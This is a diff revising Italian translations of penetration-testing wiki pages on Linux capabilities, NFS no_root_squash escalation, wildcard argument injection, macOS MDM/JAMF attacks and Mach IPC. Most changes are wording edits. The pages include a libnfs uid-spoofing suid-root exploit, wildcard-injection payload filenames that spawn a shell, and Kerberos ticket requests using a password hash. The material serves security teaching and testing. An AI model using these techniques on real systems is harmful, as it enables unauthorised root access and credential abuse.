[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) è stato separato dal più ampio **CAP_SYS_ADMIN** in Linux 2.6.37, concedendo specificamente la possibilità di utilizzare la chiamata `syslog(2)`. Questa capacità consente la visualizzazione degli indirizzi del kernel tramite `/proc` e interfacce simili quando l'impostazione `kptr_restrict` è impostata su 1, che controlla l'esposizione degli indirizzi del kernel. Dalla versione 2.6.39 di Linux, il valore predefinito per `kptr_restrict` è 0, il che significa che gli indirizzi del kernel sono esposti, anche se molte distribuzioni impostano questo valore su 1 (nascondere gli indirizzi tranne che per uid 0) o 2 (nascondere sempre gli indirizzi) per motivi di sicurezza.
|
||||
|
||||
Inoltre, **CAP_SYSLOG** consente di accedere all'output di `dmesg` quando `dmesg_restrict` è impostato a 1. Nonostante questi cambiamenti, **CAP_SYS_ADMIN** mantiene la capacità di eseguire operazioni `syslog` a causa di precedenti storici.
|
||||
Inoltre, **CAP_SYSLOG** consente di accedere all'output di `dmesg` quando `dmesg_restrict` è impostato su 1. Nonostante questi cambiamenti, **CAP_SYS_ADMIN** mantiene la capacità di eseguire operazioni `syslog` a causa di precedenti storici.
|
||||
|
||||
## CAP_MKNOD
|
||||
|
||||
@ -1469,8 +1469,8 @@ Questa capacità è essenziale per i processi che richiedono la possibilità di
|
||||
|
||||
Questa capacità consente di effettuare escalation di privilegi (attraverso la lettura completa del disco) sull'host, a queste condizioni:
|
||||
|
||||
1. Avere accesso iniziale all'host (Non privilegiato).
|
||||
2. Avere accesso iniziale al container (Privilegiato (EUID 0), e `CAP_MKNOD` effettivo).
|
||||
1. Avere accesso iniziale all'host (non privilegiato).
|
||||
2. Avere accesso iniziale al container (privilegiato (EUID 0) e `CAP_MKNOD` efficace).
|
||||
3. Host e container devono condividere lo stesso namespace utente.
|
||||
|
||||
**Passaggi per creare e accedere a un dispositivo a blocchi in un container:**
|
||||
|
||||
@ -9,7 +9,7 @@ NFS di solito (soprattutto in linux) si fida del `uid` e `gid` indicati dal clie
|
||||
|
||||
- **`all_squash`**: Riduce tutti gli accessi mappando ogni utente e gruppo a **`nobody`** (65534 unsigned / -2 signed). Pertanto, tutti sono `nobody` e non vengono utilizzati utenti.
|
||||
- **`root_squash`/`no_all_squash`**: Questo è il valore predefinito su Linux e **riduce solo l'accesso con uid 0 (root)**. Pertanto, qualsiasi `UID` e `GID` sono fidati, ma `0` è ridotto a `nobody` (quindi non è possibile impersonare root).
|
||||
- **`no_root_squash`**: Questa configurazione, se abilitata, non riduce nemmeno l'utente root. Ciò significa che se monti una directory con questa configurazione, puoi accedervi come root.
|
||||
- **``no_root_squash`**: Questa configurazione, se abilitata, non riduce nemmeno l'utente root. Ciò significa che se monti una directory con questa configurazione, puoi accedervi come root.
|
||||
|
||||
Nel file **/etc/exports**, se trovi qualche directory configurata come **no_root_squash**, allora puoi **accedervi** da **client** e **scrivere all'interno** di quella directory **come** se fossi il **root** locale della macchina.
|
||||
|
||||
@ -60,13 +60,13 @@ cd <SHAREDD_FOLDER>
|
||||
|
||||
> [!TIP]
|
||||
> Nota che se puoi creare un **tunnel dalla tua macchina alla macchina vittima, puoi comunque utilizzare la versione Remota per sfruttare questa escalation di privilegi tunnelando le porte richieste**.\
|
||||
> Il seguente trucco è nel caso in cui il file `/etc/exports` **indichi un IP**. In questo caso **non sarai in grado di utilizzare** in nessun caso il **remote exploit** e dovrai **sfruttare questo trucco**.\
|
||||
> Il seguente trucco è nel caso in cui il file `/etc/exports` **indichi un IP**. In questo caso **non potrai utilizzare** in alcun modo il **remote exploit** e dovrai **sfruttare questo trucco**.\
|
||||
> Un altro requisito necessario affinché l'exploit funzioni è che **l'export all'interno di `/etc/export`** **deve utilizzare il flag `insecure`**.\
|
||||
> --_Non sono sicuro che se `/etc/export` indica un indirizzo IP questo trucco funzionerà_--
|
||||
|
||||
### Basic Information
|
||||
|
||||
Lo scenario prevede di sfruttare una condivisione NFS montata su una macchina locale, sfruttando un difetto nella specifica NFSv3 che consente al client di specificare il proprio uid/gid, potenzialmente abilitando l'accesso non autorizzato. Lo sfruttamento prevede l'uso di [libnfs](https://github.com/sahlberg/libnfs), una libreria che consente la falsificazione delle chiamate RPC NFS.
|
||||
Lo scenario prevede di sfruttare una condivisione NFS montata su una macchina locale, sfruttando un difetto nella specifica NFSv3 che consente al client di specificare il proprio uid/gid, potenzialmente abilitando l'accesso non autorizzato. Lo sfruttamento coinvolge l'uso di [libnfs](https://github.com/sahlberg/libnfs), una libreria che consente la falsificazione delle chiamate RPC NFS.
|
||||
|
||||
#### Compiling the Library
|
||||
|
||||
@ -77,7 +77,7 @@ I passaggi per la compilazione della libreria potrebbero richiedere aggiustament
|
||||
make
|
||||
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
|
||||
```
|
||||
#### Esecuzione dell'Exploit
|
||||
#### Eseguire l'Exploit
|
||||
|
||||
L'exploit prevede la creazione di un semplice programma C (`pwn.c`) che eleva i privilegi a root e poi esegue una shell. Il programma viene compilato e il binario risultante (`a.out`) viene posizionato nella condivisione con suid root, utilizzando `ld_nfs.so` per falsificare l'uid nelle chiamate RPC:
|
||||
|
||||
@ -99,7 +99,7 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
### Bonus: NFShell per Accesso ai File in Modo Stealth
|
||||
### Bonus: NFShell per Accesso ai File Stealth
|
||||
|
||||
Una volta ottenuto l'accesso root, per interagire con la condivisione NFS senza cambiare la proprietà (per evitare di lasciare tracce), viene utilizzato uno script Python (nfsh.py). Questo script regola l'uid per corrispondere a quello del file a cui si accede, consentendo l'interazione con i file sulla condivisione senza problemi di autorizzazione:
|
||||
```python
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Elevazione dei privilegi di RunC
|
||||
# Elevazione di privilegi di RunC
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@ -2,8 +2,8 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> L'iniezione di **argomenti wildcard** (noto anche come *glob*) si verifica quando uno script privilegiato esegue un binario Unix come `tar`, `chown`, `rsync`, `zip`, `7z`, … con un wildcard non quotato come `*`.
|
||||
> Poiché la shell espande il wildcard **prima** di eseguire il binario, un attaccante che può creare file nella directory di lavoro può creare nomi di file che iniziano con `-` in modo che vengano interpretati come **opzioni invece di dati**, permettendo di contrabbandare flag arbitrari o persino comandi.
|
||||
> L'iniezione di **argomenti** con caratteri jolly (noto anche come *glob*) si verifica quando uno script privilegiato esegue un binario Unix come `tar`, `chown`, `rsync`, `zip`, `7z`, … con un carattere jolly non quotato come `*`.
|
||||
> Poiché la shell espande il carattere jolly **prima** di eseguire il binario, un attaccante che può creare file nella directory di lavoro può creare nomi di file che iniziano con `-` in modo che vengano interpretati come **opzioni invece di dati**, permettendo di contrabbandare flag arbitrari o persino comandi.
|
||||
> Questa pagina raccoglie le primitive più utili, le ricerche recenti e le rilevazioni moderne per il 2023-2025.
|
||||
|
||||
## chown / chmod
|
||||
@ -18,10 +18,10 @@ Quando root esegue successivamente qualcosa come:
|
||||
chown -R alice:alice *.php
|
||||
chmod -R 644 *.php
|
||||
```
|
||||
`--reference=/root/secret``file` viene iniettato, causando che *tutti* i file corrispondenti ereditino la proprietà/i permessi di `/root/secret``file`.
|
||||
`--reference=/root/secret``file` viene iniettato, causando che *tutti* i file corrispondenti ereditino la proprietà/permissi di `/root/secret``file`.
|
||||
|
||||
*PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (attacco combinato).
|
||||
Vedi anche il classico documento di DefenseCode per i dettagli.
|
||||
Vedi anche il classico documento di DefenseCode per dettagli.
|
||||
|
||||
---
|
||||
|
||||
@ -46,7 +46,7 @@ Il `tar` predefinito su macOS recenti (basato su `libarchive`) *non* implementa
|
||||
# macOS example
|
||||
touch "--use-compress-program=/bin/sh"
|
||||
```
|
||||
Quando uno script privilegiato esegue `tar -cf backup.tar *`, verrà avviato `/bin/sh`.
|
||||
Quando uno script con privilegi esegue `tar -cf backup.tar *`, verrà avviato `/bin/sh`.
|
||||
|
||||
---
|
||||
|
||||
@ -86,13 +86,13 @@ Se root esegue qualcosa come:
|
||||
```bash
|
||||
zip result.zip files -T --unzip-command "sh -c id"
|
||||
```
|
||||
Injecta il flag tramite un nome file creato ad arte e attendi che lo script di backup privilegiato chiami `zip -T` (test archive) sul file risultante.
|
||||
Injecta il flag tramite un nome file creato ad arte e attendi che lo script di backup privilegiato chiami `zip -T` (testa archivio) sul file risultante.
|
||||
|
||||
---
|
||||
|
||||
## Binaries aggiuntivi vulnerabili all'iniezione di wildcard (lista rapida 2023-2025)
|
||||
|
||||
I seguenti comandi sono stati abusati in CTF moderni e in ambienti reali. Il payload è sempre creato come un *nome file* all'interno di una directory scrivibile che sarà successivamente elaborata con una wildcard:
|
||||
I seguenti comandi sono stati abusati in CTF moderni e in ambienti reali. Il payload è sempre creato come un *nome file* all'interno di una directory scrivibile che sarà successivamente elaborata con un wildcard:
|
||||
|
||||
| Binary | Flag da abusare | Effetto |
|
||||
| --- | --- | --- |
|
||||
@ -101,7 +101,7 @@ I seguenti comandi sono stati abusati in CTF moderni e in ambienti reali. Il pay
|
||||
| `git` | `-c core.sshCommand=<cmd>` | Esecuzione del comando tramite git su SSH |
|
||||
| `scp` | `-S <cmd>` | Avvia un programma arbitrario invece di ssh |
|
||||
|
||||
Queste primitive sono meno comuni rispetto ai classici *tar/rsync/zip* ma vale la pena controllarle durante la caccia.
|
||||
Queste primitive sono meno comuni rispetto ai classici *tar/rsync/zip* ma vale la pena controllarle durante la ricerca.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
|
||||
Se riesci a **compromettere le credenziali di amministratore** per accedere alla piattaforma di gestione, puoi **potenzialmente compromettere tutti i computer** distribuendo il tuo malware nelle macchine.
|
||||
|
||||
Per il red teaming in ambienti MacOS è altamente raccomandato avere una certa comprensione di come funzionano gli MDM:
|
||||
Per il red teaming negli ambienti MacOS è altamente raccomandato avere una certa comprensione di come funzionano gli MDM:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -25,7 +25,7 @@ Per eseguire il tuo MDM devi **far firmare il tuo CSR da un fornitore** che potr
|
||||
|
||||
Tuttavia, per installare un'applicazione in un dispositivo registrato, hai ancora bisogno che sia firmata da un account sviluppatore... tuttavia, al momento della registrazione MDM, il **dispositivo aggiunge il certificato SSL dell'MDM come CA fidata**, quindi ora puoi firmare qualsiasi cosa.
|
||||
|
||||
Per registrare il dispositivo in un MDM, devi installare un **`mobileconfig`** file come root, che potrebbe essere consegnato tramite un **pkg** file (puoi comprimerlo in zip e quando scaricato da safari verrà decompresso).
|
||||
Per registrare il dispositivo in un MDM, devi installare un file **`mobileconfig`** come root, che potrebbe essere consegnato tramite un file **pkg** (puoi comprimerlo in zip e quando scaricato da safari verrà decompresso).
|
||||
|
||||
**Mythic agent Orthrus** utilizza questa tecnica.
|
||||
|
||||
@ -35,7 +35,7 @@ JAMF può eseguire **script personalizzati** (script sviluppati dall'amministrat
|
||||
|
||||
#### Auto-registrazione JAMF
|
||||
|
||||
Vai su una pagina come `https://<company-name>.jamfcloud.com/enroll/` per vedere se hanno **l'auto-registrazione abilitata**. Se ce l'hanno, potrebbe **richiedere credenziali per accedere**.
|
||||
Vai su una pagina come `https://<company-name>.jamfcloud.com/enroll/` per vedere se hanno **abilitata l'auto-registrazione**. Se ce l'hanno, potrebbe **richiedere credenziali per accedere**.
|
||||
|
||||
Potresti usare lo script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) per eseguire un attacco di password spraying.
|
||||
|
||||
@ -120,15 +120,15 @@ In alcune occasioni scoprirai che il **computer MacOS è connesso a un AD**. In
|
||||
../../network-services-pentesting/pentesting-kerberos-88/
|
||||
{{#endref}}
|
||||
|
||||
Un **tool locale MacOS** che potrebbe anche aiutarti è `dscl`:
|
||||
Alcuni **strumenti locali MacOS** che potrebbero anche aiutarti sono `dscl`:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
Anche ci sono alcuni strumenti preparati per MacOS per enumerare automaticamente l'AD e interagire con kerberos:
|
||||
Inoltre, ci sono alcuni strumenti preparati per MacOS per enumerare automaticamente l'AD e interagire con kerberos:
|
||||
|
||||
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound è un'estensione dello strumento di auditing Bloodhound che consente di raccogliere e ingerire le relazioni di Active Directory su host MacOS.
|
||||
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound è un'estensione dello strumento di auditing Bloodhound che consente di raccogliere e ingerire le relazioni di Active Directory sugli host MacOS.
|
||||
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost è un progetto Objective-C progettato per interagire con le API Heimdal krb5 su macOS. L'obiettivo del progetto è abilitare test di sicurezza migliori attorno a Kerberos sui dispositivi macOS utilizzando API native senza richiedere alcun altro framework o pacchetti sul target.
|
||||
- [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript for Automation (JXA) per fare enumerazione di Active Directory.
|
||||
- [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript per l'automazione (JXA) per fare enumerazione di Active Directory.
|
||||
|
||||
### Informazioni sul Dominio
|
||||
```bash
|
||||
@ -147,9 +147,9 @@ Ad esempio, le informazioni sull'utente chiamato _mark_ sono memorizzate in _/va
|
||||
|
||||
Oltre a utilizzare i bordi HasSession e AdminTo, **MacHound aggiunge tre nuovi bordi** al database Bloodhound:
|
||||
|
||||
- **CanSSH** - entità autorizzata a SSH verso l'host
|
||||
- **CanVNC** - entità autorizzata a VNC verso l'host
|
||||
- **CanAE** - entità autorizzata a eseguire script AppleEvent sull'host
|
||||
- **CanSSH** - entità autorizzata a SSH nel host
|
||||
- **CanVNC** - entità autorizzata a VNC nel host
|
||||
- **CanAE** - entità autorizzata a eseguire script AppleEvent nel host
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
@ -199,14 +199,14 @@ bifrost --action asktgt --username test_lab_admin \
|
||||
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
||||
--username [user] --hash [hash] --enctype [enctype]
|
||||
```
|
||||
Con i ticket di servizio ottenuti, è possibile provare ad accedere alle condivisioni su altri computer:
|
||||
Con i ticket di servizio ottenuti è possibile provare ad accedere alle condivisioni in altri computer:
|
||||
```bash
|
||||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
```
|
||||
## Accessing the Keychain
|
||||
|
||||
Il Keychain contiene molto probabilmente informazioni sensibili che, se accessibili senza generare un prompt, potrebbero aiutare a portare avanti un esercizio di red team:
|
||||
Il Keychain contiene probabilmente informazioni sensibili che, se accessibili senza generare un prompt, potrebbero aiutare a portare avanti un esercizio di red team:
|
||||
|
||||
{{#ref}}
|
||||
macos-keychain.md
|
||||
|
||||
File diff suppressed because one or more lines are too long
@ -74,12 +74,12 @@ macos-security-protections/
|
||||
Se un **processo in esecuzione come root scrive** un file che può essere controllato da un utente, l'utente potrebbe abusarne per **escalare i privilegi**.\
|
||||
Questo potrebbe verificarsi nelle seguenti situazioni:
|
||||
|
||||
- Il file utilizzato era già stato creato da un utente (di proprietà dell'utente)
|
||||
- Il file utilizzato è già stato creato da un utente (di proprietà dell'utente)
|
||||
- Il file utilizzato è scrivibile dall'utente a causa di un gruppo
|
||||
- Il file utilizzato si trova all'interno di una directory di proprietà dell'utente (l'utente potrebbe creare il file)
|
||||
- Il file utilizzato si trova all'interno di una directory di proprietà di root, ma l'utente ha accesso in scrittura su di essa a causa di un gruppo (l'utente potrebbe creare il file)
|
||||
|
||||
Essere in grado di **creare un file** che sarà **utilizzato da root**, consente a un utente di **sfruttare il suo contenuto** o persino di creare **symlink/hardlink** per puntarlo in un altro posto.
|
||||
Essere in grado di **creare un file** che sarà **utilizzato da root** consente a un utente di **sfruttare il suo contenuto** o persino creare **symlink/hardlink** per puntarlo in un altro posto.
|
||||
|
||||
Per questo tipo di vulnerabilità non dimenticare di **controllare gli installer `.pkg` vulnerabili**:
|
||||
|
||||
@ -88,7 +88,7 @@ Per questo tipo di vulnerabilità non dimenticare di **controllare gli installer
|
||||
macos-files-folders-and-binaries/macos-installers-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Gestori di Estensioni di File e URL
|
||||
### Gestori di app per Estensione di File e Schema URL
|
||||
|
||||
App strane registrate da estensioni di file potrebbero essere abusate e diverse applicazioni possono essere registrate per aprire protocolli specifici
|
||||
|
||||
@ -107,7 +107,7 @@ Questi privilegi sono solitamente concessi sotto forma di **diritti** con cui l'
|
||||
|
||||
Segui questi link per trovare diversi modi per [**escalare i privilegi in TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), per [**bypassare TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) e come in passato [**SIP è stato bypassato**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
|
||||
## Escalation Tradizionale dei Privilegi in macOS
|
||||
## Escalation Tradizionale dei Privilegi di macOS
|
||||
|
||||
Certo, dal punto di vista di un red team, dovresti essere anche interessato a escalare a root. Controlla il seguente post per alcuni suggerimenti:
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@ In XNU, Mach è **responsabile di molte delle operazioni critiche a basso livell
|
||||
|
||||
### BSD
|
||||
|
||||
Il **kernel** XNU **incorpora** anche una quantità significativa di codice derivato dal progetto **FreeBSD**. Questo codice **funziona come parte del kernel insieme a Mach**, nello stesso spazio di indirizzamento. Tuttavia, il codice FreeBSD all'interno di XNU può differire sostanzialmente dal codice FreeBSD originale perché sono state necessarie modifiche per garantire la sua compatibilità con Mach. FreeBSD contribuisce a molte operazioni del kernel, tra cui:
|
||||
Il **kernel** XNU **incorpora** anche una quantità significativa di codice derivato dal progetto **FreeBSD**. Questo codice **funziona come parte del kernel insieme a Mach**, nello stesso spazio di indirizzi. Tuttavia, il codice FreeBSD all'interno di XNU può differire sostanzialmente dal codice FreeBSD originale perché sono state necessarie modifiche per garantire la sua compatibilità con Mach. FreeBSD contribuisce a molte operazioni del kernel, tra cui:
|
||||
|
||||
- Gestione dei processi
|
||||
- Gestione dei segnali
|
||||
@ -27,7 +27,7 @@ Il **kernel** XNU **incorpora** anche una quantità significativa di codice deri
|
||||
- Stack TCP/IP e socket
|
||||
- Firewall e filtraggio dei pacchetti
|
||||
|
||||
Comprendere l'interazione tra BSD e Mach può essere complesso, a causa dei loro diversi quadri concettuali. Ad esempio, BSD utilizza i processi come unità fondamentale di esecuzione, mentre Mach opera basandosi sui thread. Questa discrepanza è riconciliata in XNU **associando ogni processo BSD a un'attività Mach** che contiene esattamente un thread Mach. Quando viene utilizzata la chiamata di sistema fork() di BSD, il codice BSD all'interno del kernel utilizza le funzioni Mach per creare una struttura di attività e di thread.
|
||||
Comprendere l'interazione tra BSD e Mach può essere complesso, a causa dei loro diversi quadri concettuali. Ad esempio, BSD utilizza i processi come unità di esecuzione fondamentale, mentre Mach opera basandosi sui thread. Questa discrepanza è riconciliata in XNU **associando ogni processo BSD a un'attività Mach** che contiene esattamente un thread Mach. Quando viene utilizzata la chiamata di sistema fork() di BSD, il codice BSD all'interno del kernel utilizza le funzioni Mach per creare una struttura di attività e di thread.
|
||||
|
||||
Inoltre, **Mach e BSD mantengono ciascuno modelli di sicurezza diversi**: il modello di sicurezza di **Mach** si basa sui **diritti di porta**, mentre il modello di sicurezza di BSD opera sulla base della **proprietà del processo**. Le disparità tra questi due modelli hanno occasionalmente portato a vulnerabilità di escalation dei privilegi locali. Oltre alle chiamate di sistema tipiche, ci sono anche **trappole Mach che consentono ai programmi in spazio utente di interagire con il kernel**. Questi diversi elementi insieme formano l'architettura ibrida e multifaccettata del kernel di macOS.
|
||||
|
||||
|
||||
@ -23,14 +23,14 @@ I diritti di porta, che definiscono quali operazioni un compito può eseguire, s
|
||||
- **Diritto di invio**, che consente di inviare messaggi alla porta.
|
||||
- Il diritto di invio può essere **clonato** in modo che un compito che possiede un diritto di invio possa clonare il diritto e **concederlo a un terzo compito**.
|
||||
- **Diritto di invio una sola volta**, che consente di inviare un messaggio alla porta e poi scompare.
|
||||
- **Diritto di insieme di porte**, che denota un _insieme di porte_ piuttosto che una singola porta. Dequeuing un messaggio da un insieme di porte dequeues un messaggio da una delle porte che contiene. Gli insiemi di porte possono essere utilizzati per ascoltare su più porte simultaneamente, molto simile a `select`/`poll`/`epoll`/`kqueue` in Unix.
|
||||
- **Diritto di insieme di porte**, che denota un _insieme di porte_ piuttosto che una singola porta. Dequeuing un messaggio da un insieme di porte estrae un messaggio da una delle porte che contiene. Gli insiemi di porte possono essere utilizzati per ascoltare su più porte simultaneamente, molto simile a `select`/`poll`/`epoll`/`kqueue` in Unix.
|
||||
- **Nome morto**, che non è un vero e proprio diritto di porta, ma semplicemente un segnaposto. Quando una porta viene distrutta, tutti i diritti di porta esistenti per la porta si trasformano in nomi morti.
|
||||
|
||||
**I compiti possono trasferire diritti di INVIO ad altri**, consentendo loro di inviare messaggi di ritorno. **I diritti di INVIO possono anche essere clonati, quindi un compito può duplicare e dare il diritto a un terzo compito**. Questo, combinato con un processo intermedio noto come **bootstrap server**, consente una comunicazione efficace tra i compiti.
|
||||
|
||||
### Porte di File
|
||||
|
||||
Le porte di file consentono di incapsulare descrittori di file in porte Mac (utilizzando diritti di porta Mach). È possibile creare un `fileport` da un FD dato utilizzando `fileport_makeport` e creare un FD da un fileport utilizzando `fileport_makefd`.
|
||||
Le porte di file consentono di racchiudere descrittori di file in porte Mac (utilizzando diritti di porta Mach). È possibile creare un `fileport` da un FD dato utilizzando `fileport_makeport` e creare un FD da un fileport utilizzando `fileport_makefd`.
|
||||
|
||||
### Stabilire una comunicazione
|
||||
|
||||
@ -43,19 +43,19 @@ Come menzionato, per stabilire il canale di comunicazione, è coinvolto il **boo
|
||||
3. Il compito **A** stabilisce una **connessione** con il **bootstrap server**, fornendo il **nome del servizio della porta** e il **diritto di INVIO** attraverso una procedura nota come registrazione bootstrap.
|
||||
4. Il compito **B** interagisce con il **bootstrap server** per eseguire una **ricerca bootstrap per il nome del servizio**. Se ha successo, il **server duplica il diritto di INVIO** ricevuto dal Compito A e **lo trasmette al Compito B**.
|
||||
5. Dopo aver acquisito un diritto di INVIO, il Compito **B** è in grado di **formulare** un **messaggio** e inviarlo **al Compito A**.
|
||||
6. Per una comunicazione bidirezionale, di solito il compito **B** genera una nuova porta con un **diritto di RICEZIONE** e un **diritto di INVIO**, e concede il **diritto di INVIO al Compito A** in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale).
|
||||
6. Per una comunicazione bidirezionale, di solito il compito **B** genera una nuova porta con un **DIRITTO DI RICEZIONE** e un **DIRITTO DI INVIO**, e concede il **DIRITTO DI INVIO al Compito A** in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale).
|
||||
|
||||
Il bootstrap server **non può autenticare** il nome del servizio rivendicato da un compito. Questo significa che un **compito** potrebbe potenzialmente **impersonare qualsiasi compito di sistema**, come rivendicare falsamente un nome di servizio di autorizzazione e poi approvare ogni richiesta.
|
||||
|
||||
Successivamente, Apple memorizza i **nomi dei servizi forniti dal sistema** in file di configurazione sicuri, situati in directory **protette da SIP**: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Accanto a ciascun nome di servizio, è anche memorizzato il **binario associato**. Il bootstrap server creerà e manterrà un **diritto di RICEZIONE per ciascuno di questi nomi di servizio**.
|
||||
Successivamente, Apple memorizza i **nomi dei servizi forniti dal sistema** in file di configurazione sicuri, situati in directory **protette da SIP**: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Accanto a ciascun nome di servizio, è anche memorizzato il **binario associato**. Il bootstrap server creerà e manterrà un **DIRITTO DI RICEZIONE per ciascuno di questi nomi di servizio**.
|
||||
|
||||
Per questi servizi predefiniti, il **processo di ricerca differisce leggermente**. Quando un nome di servizio viene cercato, launchd avvia il servizio dinamicamente. Il nuovo flusso di lavoro è il seguente:
|
||||
|
||||
- Il compito **B** avvia una **ricerca bootstrap** per un nome di servizio.
|
||||
- **launchd** verifica se il compito è in esecuzione e, se non lo è, **lo avvia**.
|
||||
- Il compito **A** (il servizio) esegue un **check-in bootstrap**. Qui, il **bootstrap** server crea un diritto di INVIO, lo trattiene e **trasferisce il diritto di RICEZIONE al Compito A**.
|
||||
- launchd duplica il **diritto di INVIO e lo invia al Compito B**.
|
||||
- Il compito **B** genera una nuova porta con un **diritto di RICEZIONE** e un **diritto di INVIO**, e concede il **diritto di INVIO al Compito A** (il svc) in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale).
|
||||
- launchd duplica il **DIRITTO DI INVIO e lo invia al Compito B**.
|
||||
- Il Compito **B** genera una nuova porta con un **DIRITTO DI RICEZIONE** e un **DIRITTO DI INVIO**, e concede il **DIRITTO DI INVIO al Compito A** (il svc) in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale).
|
||||
|
||||
Tuttavia, questo processo si applica solo ai compiti di sistema predefiniti. I compiti non di sistema operano ancora come descritto originariamente, il che potrebbe potenzialmente consentire l'impersonificazione.
|
||||
|
||||
@ -76,7 +76,7 @@ mach_msg_id_t msgh_id;
|
||||
```
|
||||
I process che possiedono un _**diritto di ricezione**_ possono ricevere messaggi su una porta Mach. Al contrario, ai **mittenti** viene concesso un _**diritto di invio**_ o un _**diritto di invio-una-volta**_. Il diritto di invio-una-volta è esclusivamente per l'invio di un singolo messaggio, dopo il quale diventa non valido.
|
||||
|
||||
Per ottenere una facile **comunicazione bi-direzionale**, un processo può specificare una **porta mach** nell'**intestazione del messaggio** chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevente** del messaggio può **inviare una risposta** a questo messaggio. I bitflags in **`msgh_bits`** possono essere utilizzati per **indicare** che un **diritto di invio-una-volta** dovrebbe essere derivato e trasferito per questa porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
Per ottenere una facile **comunicazione bi-direzionale**, un processo può specificare una **porta mach** nell'**intestazione del messaggio** chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevitore** del messaggio può **inviare una risposta** a questo messaggio. I bitflags in **`msgh_bits`** possono essere utilizzati per **indicare** che un **diritto di invio-una-volta** dovrebbe essere derivato e trasferito per questa porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
> [!TIP]
|
||||
> Nota che questo tipo di comunicazione bi-direzionale è utilizzato nei messaggi XPC che si aspettano una risposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Ma **di solito vengono create porte diverse** come spiegato in precedenza per creare la comunicazione bi-direzionale.
|
||||
@ -84,12 +84,12 @@ Per ottenere una facile **comunicazione bi-direzionale**, un processo può speci
|
||||
Gli altri campi dell'intestazione del messaggio sono:
|
||||
|
||||
- `msgh_size`: la dimensione dell'intero pacchetto.
|
||||
- `msgh_remote_port`: la porta su cui questo messaggio è inviato.
|
||||
- `msgh_remote_port`: la porta sulla quale questo messaggio è inviato.
|
||||
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html).
|
||||
- `msgh_id`: l'ID di questo messaggio, che è interpretato dal ricevente.
|
||||
- `msgh_id`: l'ID di questo messaggio, che è interpretato dal ricevitore.
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che **i messaggi mach vengono inviati su una \_porta mach**\_, che è un canale di comunicazione **a singolo ricevente**, **multipli mittenti** integrato nel kernel mach. **Più processi** possono **inviare messaggi** a una porta mach, ma in qualsiasi momento solo **un singolo processo può leggere** da essa.
|
||||
> Nota che **i messaggi mach vengono inviati su una \_porta mach**\_, che è un canale di comunicazione **a singolo ricevitore**, **multipli mittenti** integrato nel kernel mach. **Più processi** possono **inviare messaggi** a una porta mach, ma in qualsiasi momento solo **un singolo processo può leggere** da essa.
|
||||
|
||||
### Enumerare porte
|
||||
```bash
|
||||
@ -228,7 +228,7 @@ printf("Sent a message\n");
|
||||
### Porte Privilegiate
|
||||
|
||||
- **Porta host**: Se un processo ha il privilegio di **Invio** su questa porta, può ottenere **informazioni** sul **sistema** (ad es. `host_processor_info`).
|
||||
- **Porta priv di host**: Un processo con diritto di **Invio** su questa porta può eseguire **azioni privilegiate** come caricare un'estensione del kernel. Il **processo deve essere root** per ottenere questo permesso.
|
||||
- **Porta priv di host**: Un processo con diritto di **Invio** su questa porta può eseguire **azioni privilegiate** come il caricamento di un'estensione del kernel. Il **processo deve essere root** per ottenere questo permesso.
|
||||
- Inoltre, per chiamare l'API **`kext_request`** è necessario avere altri diritti **`com.apple.private.kext*`** che sono concessi solo ai binari Apple.
|
||||
- **Porta nome task:** Una versione non privilegiata della _porta task_. Riferisce al task, ma non consente di controllarlo. L'unica cosa che sembra essere disponibile attraverso di essa è `task_info()`.
|
||||
- **Porta task** (nota anche come porta kernel)**:** Con permesso di Invio su questa porta è possibile controllare il task (leggere/scrivere memoria, creare thread...).
|
||||
@ -293,7 +293,7 @@ return 0;
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**Compila** il programma precedente e aggiungi i **diritti** per poter iniettare codice con lo stesso utente (se no dovrai usare **sudo**).
|
||||
**Compila** il programma precedente e aggiungi i **diritti** per poter iniettare codice con lo stesso utente (altrimenti dovrai usare **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
